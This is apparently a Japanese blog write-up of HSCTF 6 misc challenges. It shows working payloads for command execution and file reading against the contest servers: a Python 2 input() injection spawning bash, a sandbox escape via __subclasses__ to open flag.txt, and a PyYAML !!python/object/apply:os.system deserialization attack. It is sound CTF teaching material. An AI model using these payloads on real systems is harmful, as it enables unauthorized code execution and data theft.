st98 の日記帳


[ctf] HSCTF 6 の write-up

6 月 3 日から 6 月 8 日にかけて開催された HSCTF 6 に、チーム yoshikingdom として参加しました。最終的にチームで 12540 点を獲得し、順位は得点 1135 チーム中 11 位でした。うち、私は 18 問を解いて 4921 点を入れました。

他のメンバーの write-up はこちら。

以下、私が解いた問題の write-up です。

Miscellaneous

A Simple Conversation (151)

Someone on the internet wants to talk to you. Can you find out what they want?

nc misc.hsctf.com 9001

添付ファイル: talk.py

talk.py は以下のような内容でした。

#!/usr/bin/env python3
from time import sleep

print("Hello!")

sleep(1)

print("Hey, can you help me out real quick.")

sleep(1)

print("I need to know your age.")

sleep(1)

print("What's your age?")

age = input("> ")

sleep(1)

print("Wow!")

sleep(1)

print("Sometimes I wish I was %s" % age)

sleep(1)

print("Well, it was nice meeting you, %s-year-old." % age)

sleep(1)

print("Goodbye!")

Python 3 のコードとして読むと脆弱性は無いように見えます。が、もしサーバ側では shebang を無視して Python 2 を使っていたら age = input("> ")eval 相当のことができるはずです。やってみましょう。

$ nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> __import__('os').system('bash')
ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
talk.py
tmp
usr
var
ls -la
total 80
drwxr-xr-x   1 root root 4096 Jun  6 02:38 .
drwxr-xr-x   1 root root 4096 Jun  6 02:38 ..
-rwxr-xr-x   1 root root    0 Jun  6 02:38 .dockerenv
drwxr-xr-x   2 root root 4096 May 15 14:07 bin
drwxr-xr-x   2 root root 4096 Apr 24  2018 boot
drwxr-xr-x   5 root root  340 Jun  7 10:35 dev
drwxr-xr-x   1 root root 4096 Jun  6 02:38 etc
-rw-rw-r--   1 root root   24 Jun  2 23:38 flag.txt
drwxr-xr-x   2 root root 4096 Apr 24  2018 home
drwxr-xr-x   1 root root 4096 May 23  2017 lib
drwxr-xr-x   2 root root 4096 May 15 14:06 lib64
drwxr-xr-x   2 root root 4096 May 15 14:06 media
drwxr-xr-x   2 root root 4096 May 15 14:06 mnt
drwxr-xr-x   2 root root 4096 May 15 14:06 opt
dr-xr-xr-x 348 root root    0 Jun  7 10:35 proc
drwx------   2 root root 4096 May 15 14:07 root
drwxr-xr-x   1 root root 4096 May 15 21:20 run
drwxr-xr-x   1 root root 4096 May 15 21:20 sbin
drwxr-xr-x   2 root root 4096 May 15 14:06 srv
dr-xr-xr-x  13 root root    0 Jun  4 20:16 sys
-rw-rw-r--   1 root root  397 Jun  2 23:38 talk.py
drwxrwxrwt   1 root root 4096 Jun  3 04:07 tmp
drwxr-xr-x   1 root root 4096 May 15 14:06 usr
drwxr-xr-x   1 root root 4096 May 15 14:07 var
cat flag.txt
hsctf{plz_u5e_pyth0n_3}

フラグが得られました。

hsctf{plz_u5e_pyth0n_3}

The Real Reversal (268)

My friend gave me some fancy text, but it was reversed, and so I tried to reverse it but I think I messed it up further. Can you find out what the text says?

添付ファイル: reversed.txt

reversed.txt は以下のような内容でした。

$ xxd reversed.txt | head
0000000: 869a 9df0 989a 9df0 a09a 9df0 209d 9a9d  ............ ...
0000010: f091 9a9d f092 9a9d f09c 9a9d f020 929a  ............. ..
0000020: 9df0 9c9a 9df0 208c 9a9d f098 9a9d f098  ...... .........
0000030: 9a9d f095 9a9d f02e 20b0 999d f095 9a9d  ........ .......
0000040: f095 9a9d f020 989a 9df0 8f9a 9df0 2096  ..... ........ .
0000050: 9a9d f0a2 9a9d f020 9d9a 9df0 8e9a 9df0  ....... ........
0000060: a19a 9df0 9d9a 9df0 2092 9a9d f09c 9a9d  ........ .......
0000070: f020 8b9a 9df0 8a9a 9df0 8c9a 9df0 949a  . ..............
0000080: 9df0 a09a 9df0 8a9a 9df0 9b9a 9df0 8d9a  ................
0000090: 9df0 9c9a 9df0 2e20 839a 9df0 919a 9df0  ....... ........

ニブル単位やビット単位でひっくり返せばよいのかと思いきや、20 (半角スペース) も混じっており、そう単純ではなさそうです。

よく見ると f0 が 4 バイト単位で出現しており、UTF-8 で U+10000 以降を表現しているように思えますが、このファイルは 86 から始まっており UTF-8 として正しくありません。ファイルごとひっくり返してみましょう。

with open('reversed.txt', 'rb') as f:
  s = f.read()

with open('result.txt', 'wb') as f:
  f.write(s[::-1].decode('utf-8').encode('utf-8'))
$ python3 rev.py

以下のような UTF-8 として正しいファイルが出力されました。

.𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚜𝚛𝚎𝚝𝚝𝚎𝚕 𝚒𝚒𝚌𝚜𝚊 𝚛𝚊𝚕𝚞𝚐𝚎𝚛 𝚐𝚗𝚒𝚜𝚞 ,}𝚗𝚒𝚠_𝚎𝚑𝚝_𝚛𝚘𝚏_𝟾𝚏𝚝𝚞{𝚏𝚝𝚌𝚜𝚑 𝚜𝚒 𝚐𝚊𝚕𝚏 𝚎𝚑𝚃 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚕𝚘𝚘𝚌 𝚘𝚜 𝚢𝚕𝚕𝚊𝚞𝚝𝚌𝚊 𝚜𝚒 𝚜𝚒𝚑𝚃 .𝚜𝚍𝚛𝚊𝚠𝚔𝚌𝚊𝚋 𝚜𝚒 𝚝𝚡𝚎𝚝 𝚢𝚖 𝚏𝚘 𝚕𝚕𝙰 .𝚕𝚘𝚘𝚌 𝚜𝚒 𝚜𝚒𝚑𝚝 𝚠𝚘𝚆

これを更にひっくり返しましょう。

𝚆𝚘𝚠 𝚝𝚑𝚒𝚜 𝚒𝚜 𝚌𝚘𝚘𝚕. 𝙰𝚕𝚕 𝚘𝚏 𝚖𝚢 𝚝𝚎𝚡𝚝 𝚒𝚜 𝚋𝚊𝚌𝚔𝚠𝚊𝚛𝚍𝚜. 𝚃𝚑𝚒𝚜 𝚒𝚜 𝚊𝚌𝚝𝚞𝚊𝚕𝚕𝚢 𝚜𝚘 𝚌𝚘𝚘𝚕. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝚃𝚑𝚎 𝚏𝚕𝚊𝚐 𝚒𝚜 𝚑𝚜𝚌𝚝𝚏{𝚞𝚝𝚏𝟾_𝚏𝚘𝚛_𝚝𝚑𝚎_𝚠𝚒𝚗}, 𝚞𝚜𝚒𝚗𝚐 𝚛𝚎𝚐𝚞𝚕𝚊𝚛 𝚊𝚜𝚌𝚒𝚒 𝚕𝚎𝚝𝚝𝚎𝚛𝚜. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖.

フラグが得られました。

hsctf{utf8_for_the_win}

Broken REPL (405)

My friend says that there is a bug in my REPL. Can you help me find it?

nc misc.hsctf.com 8550

添付ファイル: repl.py

repl.py は以下のような内容でした。

#!/usr/bin/env python3
with open("flag.txt") as flag: # open flag file
    flag = flag.read() # read contents of flag file
try: # make sure we don't run out of memory
    while 1: # do this forever
        try: # try to read a line of input
            line = input(">>> ") # prompt is python's standard prompt
        except EOFError: # user is done typing input
            print() # ensure there is a line-break
            break # exit from the loop
        else: # successfully read input
            try: # try to compile the input
                code = compile(line, "<input>", "exec") # compile the line of input
            except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad
                print("there was an error in your code:", e) # notify the user of the error
            if False: exec(code) # run the code
            # TODO: find replacement for exec
            # TODO: exec is unsafe
except MemoryError: # we ran out of memory
    # uh oh
    # lets remove the flag to clear up some memory
    print(flag) # log the flag so it is not lost
    del flag # delete the flag
    # hopefully we have enough memory now

code = compile(line, "<input>", "exec")MemoryError を発生させることができればフラグが得られるようです。

関数を大量にネストさせてみましょう。

$ python3 -c 'print("input("*1000+")"*1000)' | nc misc.hsctf.com 8550
>>> s_push: parser stack overflow
hsctf{dont_you_love_parsers}

フラグが得られました。

hsctf{dont_you_love_parsers}

Keith Bot (408)

Keith made a Discord bot so he could run commands on the go, but there were some bugs

DM Keith Bot#3149 (found in the Discord server)

Note: The flag is in flag.txt

添付ファイル: bot.py, eval.py

Discord で好きな Python コードを実行してくれる bot が動いているようです。与えられたコードを実行する役割を担う eval.py は以下のような内容でした。

import os
import pwd
import sys
import textwrap

pw = pwd.getpwnam("nobody")

os.chdir("home")
os.chroot(".")

os.setgid(pw.pw_gid)
os.setuid(pw.pw_uid)

env = {"__builtins__": {}}

exec(f"def func():\n{textwrap.indent(sys.stdin.read(), '    ')}", env)

ret = env["func"]()

if ret is not None:
    print(ret)

eval__import__ のようなビルトイン関数が全て消されています。Python沙箱逃逸总结 | HatBoy的个人主页を参考に、タプルから __class____subclasses__ を辿っていって open を復元しましょう。

以下のコードを投げるとフラグが得られました。

return [x for x in ().__class__.__bases__[0].__subclasses__() if 'codecs.IncrementalEncoder' in ('%s' % x)][0].__init__.__globals__['open']('flag.txt').read()
hsctf{discord_bot_pyjail_uwu_030111}

JSON Info (424)

I made a simple program to analyze my JSON files.

nc misc.hsctf.com 9999

ヒント: Try to make it fail.

JSON を解析してくれるサービスのようです。適当な JSON を投げてみましょう。

$ nc -q 1 misc.hsctf.com 9999
Welcome to JSON info!
Please enter your JSON:
[1, 2, 3]
You have entered: an array
The array has 3 elements
Thank you for using JSON info!

なるほど。ヒントを参考に JSON として正しくない文字列を投げてみましょう。

$ nc -q 1 misc.hsctf.com 9999
Welcome to JSON info!
Please enter your JSON:
[
There was an error: while parsing a flow node
expected the node content, but found '<stream end>'
  in "<stdin>", line 2, column 1

エラーメッセージでググると PyYAML が使われていることが推測できます。JSON じゃなくて YAML じゃないですか。

PyYAML では !!python/object/apply:os.system のようにタグを利用することで関数を呼び出すことができます。os.system で OS コマンドを呼んでファイルの一覧を取得してみましょう。

$ nc -q 1 misc.hsctf.com 9999
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["ls -la"] 
total 80
drwxr-xr-x   1 root root 4096 Jun  6 02:38 .
drwxr-xr-x   1 root root 4096 Jun  6 02:38 ..
-rwxr-xr-x   1 root root    0 Jun  6 02:38 .dockerenv
drwxr-xr-x   2 root root 4096 May 15 14:07 bin
drwxr-xr-x   2 root root 4096 Apr 24  2018 boot
drwxr-xr-x   5 root root  340 Jun  7 10:35 dev
drwxr-xr-x   1 root root 4096 Jun  6 02:38 etc
-rw-rw-r--   1 root root   20 Jun  5 05:52 flag.txt
drwxr-xr-x   2 root root 4096 Apr 24  2018 home
-rw-rw-r--   1 root root  723 Jun  5 05:52 json_info.py
drwxr-xr-x   1 root root 4096 May 23  2017 lib
drwxr-xr-x   2 root root 4096 May 15 14:06 lib64
drwxr-xr-x   2 root root 4096 May 15 14:06 media
drwxr-xr-x   2 root root 4096 May 15 14:06 mnt
drwxr-xr-x   2 root root 4096 May 15 14:06 opt
dr-xr-xr-x 337 root root    0 Jun  7 10:35 proc
drwx------   2 root root 4096 May 15 14:07 root
drwxr-xr-x   1 root root 4096 May 15 21:20 run
drwxr-xr-x   1 root root 4096 May 15 21:20 sbin
drwxr-xr-x   2 root root 4096 May 15 14:06 srv
dr-xr-xr-x  13 root root    0 Jun  4 20:16 sys
drwxrwxrwt   1 root root 4096 Jun  5 06:30 tmp
drwxr-xr-x   1 root root 4096 May 15 14:06 usr
drwxr-xr-x   1 root root 4096 May 15 14:07 var
Type int is unsupported
Please use a valid JSON array or object
Thank you for using JSON info!

flag.txt を読み出してみましょう。

$ nc -q 1 misc.hsctf.com 9999
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["cat flag.txt"] 
hsctf{JS0N_or_Y4ML}
Type int is unsupported
Please use a valid JSON array or object
